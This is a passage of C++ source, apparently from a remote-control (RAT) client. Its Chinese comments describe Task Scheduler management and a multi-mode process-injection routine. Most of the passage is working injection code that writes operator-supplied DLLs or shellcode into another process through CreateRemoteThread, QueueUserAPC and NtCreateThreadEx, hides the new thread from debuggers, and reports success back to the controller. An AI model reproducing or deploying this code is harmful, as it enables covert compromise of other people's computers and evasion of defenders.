char* taskname = rootpath + lstrlen(rootpath) + 1;
|
||
|
||
BOOL ret = FALSE;
|
||
ITaskFolder* pRootFolder = NULL;
|
||
IRegisteredTask* ppTask = NULL;
|
||
VARIANT params = { 0 };
|
||
//选择计划任务注册在哪个文件夹下
|
||
HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder);
|
||
if (SUCCEEDED(hr)) {
|
||
hr = pRootFolder->GetTask(CharToBSTR(taskname), &ppTask);
|
||
if (SUCCEEDED(hr)) {
|
||
if (Action) { //执行
|
||
hr = ppTask->Run(params, NULL);
|
||
if (SUCCEEDED(hr)) {
|
||
ret = TRUE;
|
||
}
|
||
} else { //停止
|
||
hr = ppTask->Stop(0);
|
||
if (SUCCEEDED(hr)) {
|
||
ret = TRUE;
|
||
}
|
||
}
|
||
ppTask->Release();
|
||
}
|
||
pRootFolder->Release();
|
||
}
|
||
pService->Release();
|
||
CoUninitialize();
|
||
|
||
return ret;
|
||
}
|
||
|
||
//删除
|
||
BOOL CMachineManager::DelTask(LPBYTE lpBuffer)
|
||
{
|
||
auto pService = GetTaskService();
|
||
if (!pService) {
|
||
return FALSE;
|
||
}
|
||
char* rootpath = (char*)lpBuffer;
|
||
char* taskname = rootpath + lstrlen(rootpath) + 1;
|
||
|
||
BOOL ret = FALSE;
|
||
ITaskFolder* pRootFolder = NULL;
|
||
// 选择计划任务注册在哪个文件夹下
|
||
HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder);
|
||
if (SUCCEEDED(hr)) {
|
||
hr = pRootFolder->DeleteTask(CharToBSTR(taskname), 0);
|
||
if (SUCCEEDED(hr)) {
|
||
ret = TRUE;
|
||
}
|
||
pRootFolder->Release();
|
||
}
|
||
pService->Release();
|
||
CoUninitialize();
|
||
|
||
return ret;
|
||
}
|
||
|
||
|
||
void CMachineManager::SaveData(const std::string& taskname, const std::string& path, const std::string& exepath,
|
||
const std::string& status, DATE LastTime, DATE NextTime, PBYTE &lpList, int &offset)
|
||
{
|
||
DWORD nameLEN = 0;
|
||
DWORD taskpathLEN = 0;
|
||
DWORD statusLEN = 0;
|
||
DWORD exeLEN = 0;
|
||
DWORD sum = 0;
|
||
|
||
nameLEN = taskname.length()+1;
|
||
taskpathLEN = path.length()+1;
|
||
statusLEN = status.length()+1;
|
||
exeLEN = exepath.length()+1;
|
||
|
||
sum = nameLEN + taskpathLEN + statusLEN + exeLEN + sizeof(DATE) * 2;
|
||
// 动态扩展缓冲区
|
||
if (LocalSize(lpList) < (offset + sum)) {
|
||
lpList = (BYTE*)LocalReAlloc(lpList, LocalSize(lpList)+4*1024, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
if (!lpList) {
|
||
return;
|
||
}
|
||
}
|
||
|
||
//拷贝数据
|
||
memcpy(lpList + offset, taskname.c_str(), nameLEN);
|
||
offset += nameLEN;
|
||
|
||
memcpy(lpList + offset, path.c_str(), taskpathLEN);
|
||
offset += taskpathLEN;
|
||
|
||
memcpy(lpList + offset, exepath.c_str(), exeLEN);
|
||
offset += exeLEN;
|
||
|
||
memcpy(lpList + offset, status.c_str(), statusLEN);
|
||
offset += statusLEN;
|
||
|
||
memcpy(lpList + offset, &LastTime, sizeof(DATE));
|
||
offset += sizeof(DATE);
|
||
|
||
memcpy(lpList + offset, &NextTime, sizeof(DATE));
|
||
offset += sizeof(DATE);
|
||
}
|
||
|
||
BOOL CMachineManager::GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath)
|
||
{
|
||
IActionCollection* pIAction = NULL;
|
||
IAction* pAction = NULL;
|
||
IExecAction* pExecAction = NULL;
|
||
HRESULT hr = iDefinition->get_Actions(&pIAction);
|
||
if (FAILED(hr)) {
|
||
goto out;
|
||
}
|
||
|
||
hr = pIAction->get_Item(1, &pAction);
|
||
if (FAILED(hr)) {
|
||
goto out;
|
||
}
|
||
|
||
hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
|
||
if (FAILED(hr)) {
|
||
goto out;
|
||
}
|
||
|
||
pExecAction->get_Path(exepath);
|
||
|
||
out:
|
||
if (pIAction)
|
||
pIAction->Release();
|
||
if (pAction)
|
||
pAction->Release();
|
||
if (pExecAction)
|
||
pExecAction->Release();
|
||
|
||
iDefinition->Release();
|
||
return 1;
|
||
}
|
||
|
||
void CMachineManager::SendError(const char* Terror)
|
||
{
|
||
int nlen = lstrlen(Terror) * sizeof(char) + 4;
|
||
BYTE* pbuffer = new BYTE[nlen];
|
||
ZeroMemory(pbuffer, nlen);
|
||
pbuffer[0] = TOKEN_MACHINE_MSG;
|
||
memcpy(pbuffer + 1, Terror, nlen - 4);
|
||
Send(pbuffer, nlen);
|
||
SAFE_DELETE_AR(pbuffer);
|
||
}
|
||
|
||
HANDLE WINAPI ThreadProc(PTHREAD_DATA data)
|
||
{
|
||
data->fnRtlInitUnicodeString(&data->UnicodeString, data->DllName);
|
||
data->fnLdrLoadDll(data->DllPath, data->Flags, &data->UnicodeString, &data->ModuleHandle);
|
||
return data->ModuleHandle;
|
||
}
|
||
|
||
DWORD WINAPI ThreadProcEnd()
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
|
||
void CMachineManager::injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID, byte* data, DWORD datasize, char* path)
|
||
{
|
||
switch (mode) {
|
||
case 0: // 远线程反射注入(落地反射注入)
|
||
case 1:
|
||
case 2: {
|
||
DeleteFile(path);
|
||
if (GetFileAttributes(path) != -1) { //检查文件不存在 退出
|
||
SendError(_T("文件已经存在无法写,换个文件名?"));
|
||
return;
|
||
}
|
||
// 写出文件
|
||
HANDLE VmFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL);
|
||
if (VmFile == INVALID_HANDLE_VALUE) {
|
||
SendError(_T("创建落地路径文件失败"));
|
||
return;
|
||
}
|
||
DWORD dwTemp;
|
||
WriteFile(VmFile, data, datasize, &dwTemp, NULL);
|
||
CloseHandle(VmFile);
|
||
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
|
||
if (hProc == NULL) {
|
||
SendError(_T("打开进程失败"));
|
||
return;
|
||
}
|
||
switch (mode) {
|
||
case 0: { // CreateRemoteThread(落地反射注入)
|
||
yapi::YAPICall LoadLibraryA(hProc, _T("kernel32.dll"), "LoadLibraryW");
|
||
if (ExeIsx86) {
|
||
DWORD64 x86Dll = LoadLibraryA(path);
|
||
SendError(_T("注入32位dll成功"));
|
||
} else {
|
||
DWORD64 x64Dll = LoadLibraryA.Dw64()(path);
|
||
SendError(_T("注入64位dll成功"));
|
||
}
|
||
}
|
||
break;
|
||
case 1: { // QueueUserAPC(落地反射注入)
|
||
FARPROC fpAddresses[5] = {
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtWriteVirtualMemory"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtSuspendThread"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAlertResumeThread"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueueApcThread")
|
||
};
|
||
|
||
pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[0];
|
||
pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[1];
|
||
pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[2];
|
||
pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[3];
|
||
pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[4];
|
||
|
||
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
|
||
THREADENTRY32 te32;
|
||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||
if (hThreadSnap == INVALID_HANDLE_VALUE) {
|
||
SendError(_T("无法获取线程快照"));
|
||
break;
|
||
}
|
||
te32.dwSize = sizeof(THREADENTRY32);
|
||
DWORD threadId;
|
||
if (!Thread32First(hThreadSnap, &te32)) {
|
||
SendError(_T("无法获得第一个线程"));
|
||
break;
|
||
}
|
||
do {
|
||
if (te32.th32OwnerProcessID ==dwProcessID) {
|
||
threadId = te32.th32ThreadID;
|
||
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
|
||
if (hThread) {
|
||
LPVOID pDllPath = VirtualAllocEx(hProc, 0, lstrlen(path) * sizeof(char), MEM_COMMIT, PAGE_READWRITE);
|
||
WriteProcessMemory(hProc, pDllPath, LPVOID(path), lstrlen(path) * sizeof(char), NULL);
|
||
|
||
if (fNtSuspendThread) {
|
||
ULONG SuspendCount = 0;
|
||
fNtSuspendThread(hThread, &SuspendCount);
|
||
}
|
||
LPVOID LoadLibAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW");
|
||
DWORD dwResult = fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)LoadLibAddr, pDllPath, NULL, NULL);
|
||
if (fNtAlertResumeThread) {
|
||
ULONG SuspendCount = 0;
|
||
fNtAlertResumeThread(hThread, &SuspendCount);
|
||
}
|
||
if (dwResult) {
|
||
SendError(_T("有效载荷在线程中成功注入"));
|
||
break;;
|
||
} else {
|
||
SendError(_T("调用错误QueueUSerAPC().继续尝试其他线程"));
|
||
continue;
|
||
}
|
||
} else {
|
||
SendError(_T("获取找到的线程 ID 时出错"));
|
||
break;;
|
||
}
|
||
}
|
||
} while (Thread32Next(hThreadSnap, &te32));
|
||
|
||
if (!threadId)
|
||
SendError(_T("没有线程用于进程"));
|
||
CloseHandle(hThreadSnap);
|
||
return;
|
||
|
||
}
|
||
break;
|
||
case 2: { // NtCreateThreadEx(落地反射注入)
|
||
HANDLE hThread = NULL;
|
||
LPVOID pThreadData = NULL;
|
||
THREAD_DATA data;
|
||
LPVOID pCode = NULL;
|
||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||
if (hNtdll == NULL) {
|
||
SendError(_T("ntdll.dll error"));
|
||
break;
|
||
}
|
||
data.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
||
data.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(hNtdll, "LdrLoadDll");
|
||
memcpy(data.DllName, path, (lstrlen(path) + 1) * sizeof(WCHAR));
|
||
data.DllPath = NULL;
|
||
data.Flags = 0;
|
||
data.ModuleHandle = INVALID_HANDLE_VALUE;
|
||
pThreadData = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||
if (pThreadData == NULL) {
|
||
SendError(_T("VirtualAllocEx error"));
|
||
break;
|
||
}
|
||
if (!WriteProcessMemory(hProc, pThreadData, &data, sizeof(data), NULL)) {
|
||
SendError(_T("WriteProcessMemory error"));
|
||
VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE);
|
||
break;
|
||
}
|
||
/* DWORD endsize = (DWORD)ThreadProcEnd;
|
||
DWORD Procsize = (DWORD)ThreadProc;
|
||
DWORD sizeOfCode = Procsize - endsize;*/
|
||
DWORD sizeOfCode = (DWORD_PTR)ThreadProcEnd - (DWORD_PTR)ThreadProc;
|
||
pCode = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||
if (pCode == NULL) {
|
||
SendError(_T("VirtualAllocEx2 error"));
|
||
VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE);
|
||
break;
|
||
}
|
||
if (!WriteProcessMemory(hProc, pCode, (PVOID)ThreadProc, 4096, NULL)) {
|
||
SendError(_T("WriteProcessMemory2 error"));
|
||
VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE);
|
||
VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE);
|
||
break;
|
||
}
|
||
FARPROC pFunc = NULL;
|
||
pFunc = GetProcAddress(hNtdll, "NtCreateThreadEx");
|
||
if (pFunc == NULL) {
|
||
SendError(_T("NtCreateThreadEx error"));
|
||
VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE);
|
||
VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE);
|
||
break;
|
||
}
|
||
|
||
((pfnNtCreateThreadEx)pFunc)(&hThread, 0x1FFFFF, NULL, hProc, pCode, pThreadData,
|
||
THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH |
|
||
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL);
|
||
if (hThread == NULL)
|
||
SendError(_T("注入失败"));
|
||
else
|
||
SendError(_T("注入成功"));
|
||
}
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
CloseHandle(hProc);
|
||
|
||
}
|
||
break;
|
||
case 3:
|
||
case 4:
|
||
case 5: {
|
||
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
|
||
if (hProc == NULL) {
|
||
SendError(_T("打开进程失败"));
|
||
return;
|
||
}
|
||
switch (mode) {
|
||
|
||
case 3: { // CreateRemoteThread(shellcode 注入)
|
||
#ifdef _WIN64
|
||
LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL);
|
||
HANDLE ThreadShellCode = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, 0, NULL);
|
||
#else
|
||
DWORD64 RemotlpAddress = yapi::VirtualAllocEx64(hProc, NULL, (SIZE_T)datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
yapi::WriteProcessMemory64(hProc, RemotlpAddress, data, datasize, NULL);
|
||
HANDLE ThreadShellCode = yapi::CreateRemoteThread64(hProc, NULL, 0, RemotlpAddress, NULL, 0, NULL);
|
||
#endif
|
||
if (ThreadShellCode) CloseHandle(ThreadShellCode);
|
||
SendError(_T("注入shellcode成功"));
|
||
}
|
||
break;
|
||
case 4: { // QueueUserAPC(shellcode 注入)
|
||
FARPROC fpAddresses[5] = {
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtWriteVirtualMemory"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtSuspendThread"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAlertResumeThread"),
|
||
GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueueApcThread")
|
||
};
|
||
pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[0];
|
||
pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[1];
|
||
pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[2];
|
||
pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[3];
|
||
pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[4];
|
||
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
|
||
THREADENTRY32 te32;
|
||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||
if (hThreadSnap == INVALID_HANDLE_VALUE) {
|
||
SendError(_T("无法获取线程快照"));
|
||
break;
|
||
}
|
||
te32.dwSize = sizeof(THREADENTRY32);
|
||
DWORD threadId;
|
||
if (!Thread32First(hThreadSnap, &te32)) {
|
||
SendError(_T("无法获得第一个线程"));
|
||
break;
|
||
}
|
||
do {
|
||
if (te32.th32OwnerProcessID == dwProcessID) {
|
||
threadId = te32.th32ThreadID;
|
||
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
|
||
if (hThread) {
|
||
LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL);
|
||
pNtSuspendThread NtSuspendThread = NULL;
|
||
if (fNtSuspendThread) {
|
||
ULONG SuspendCount = 0;
|
||
fNtSuspendThread(hThread, &SuspendCount);
|
||
}
|
||
DWORD dwResult = fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)RemotlpAddress, NULL, NULL, NULL);
|
||
if (fNtAlertResumeThread) {
|
||
ULONG SuspendCount = 0;
|
||
fNtAlertResumeThread(hThread, &SuspendCount);
|
||
}
|
||
if (dwResult) {
|
||
SendError(_T("有效载荷在线程中成功注入"));
|
||
break;;
|
||
} else {
|
||
SendError(_T("调用错误QueueUSerAPC().继续尝试其他线程"));
|
||
continue;
|
||
}
|
||
} else {
|
||
SendError(_T("获取找到的线程 ID 时出错"));
|
||
break;;
|
||
}
|
||
}
|
||
} while (Thread32Next(hThreadSnap, &te32));
|
||
|
||
if (!threadId)
|
||
SendError(_T("没有线程用于进程"));
|
||
CloseHandle(hThreadSnap);
|
||
}
|
||
break;
|
||
case 5: { // NtCreateThreadEx(shellcode 注入)
|
||
|
||
#ifdef _WIN64
|
||
LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL);
|
||
pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtCreateThreadEx");
|
||
if (NtCreateThreadEx == NULL) break;
|
||
HANDLE ThreadShellCode = NULL;
|
||
NtCreateThreadEx(&ThreadShellCode, /*0x1FFFFF*/THREAD_ALL_ACCESS, NULL, hProc, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL,
|
||
THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL);
|
||
if (ThreadShellCode == NULL) break;
|
||
#else
|
||
DWORD64 RemotlpAddress = yapi::VirtualAllocEx64(hProc, NULL, (SIZE_T)datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||
yapi::WriteProcessMemory64(hProc, RemotlpAddress, data, datasize, NULL);
|
||
yapi::X64Call RtlCreateUserThread("RtlCreateUserThread");
|
||
HANDLE ThreadShellCode = NULL;
|
||
RtlCreateUserThread(&ThreadShellCode, /*0x1FFFFF*/THREAD_ALL_ACCESS, NULL, hProc,
|
||
(LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, THREAD_CREATE_FLAGS_CREATE_SUSPENDED |
|
||
THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL);
|
||
if (ThreadShellCode == NULL) break;
|
||
|
||
#endif
|
||
if (ThreadShellCode) CloseHandle(ThreadShellCode);
|
||
SendError(_T("注入shellcode成功"));
|
||
}
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
CloseHandle(hProc);
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|